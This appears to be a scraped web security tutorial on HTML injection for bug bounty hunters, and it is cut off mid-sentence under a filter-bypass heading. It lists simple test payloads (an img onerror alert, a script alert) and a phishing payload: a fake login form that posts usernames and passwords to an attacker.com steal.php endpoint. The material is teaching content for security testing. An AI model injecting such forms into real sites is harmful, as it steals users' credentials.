HTML Injection Bug Explained with Live PoC | Web Security Bug Bounty Tutorial

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You Should Know:

HTML Injection is a web security vulnerability where an attacker injects malicious HTML code into a vulnerable web application. This can lead to defacement, phishing attacks, or Cross-Site Scripting (XSS) if JavaScript is executed.

Types of HTML Injection:

  1. Stored HTML Injection – Malicious code is permanently stored on the target server.
  2. Reflected HTML Injection – The injected code is reflected back in the response.

Practice-Verified Exploitation Steps:

1. Identifying Injection Points

  • Test input fields (search boxes, forms, comment sections) with basic HTML tags:
    </li>
</ul>

<h1>Test</h1>

<img src=x onerror=alert(1)>

    – Check if the tags render or execute.

    2. Crafting the Payload

    • Basic payload to test vulnerability:
      <script>alert("XSS")</script>
    • Advanced payload (for phishing):
      </li>
</ul>

<form action="http://attacker.com/steal.php" method="POST">
<input type="text" name="username" placeholder="Enter Username">
<input type="password" name="password" placeholder="Enter Password">
<input type="submit" value="Login">
</form>

      3. Bypassing Filters

      • If `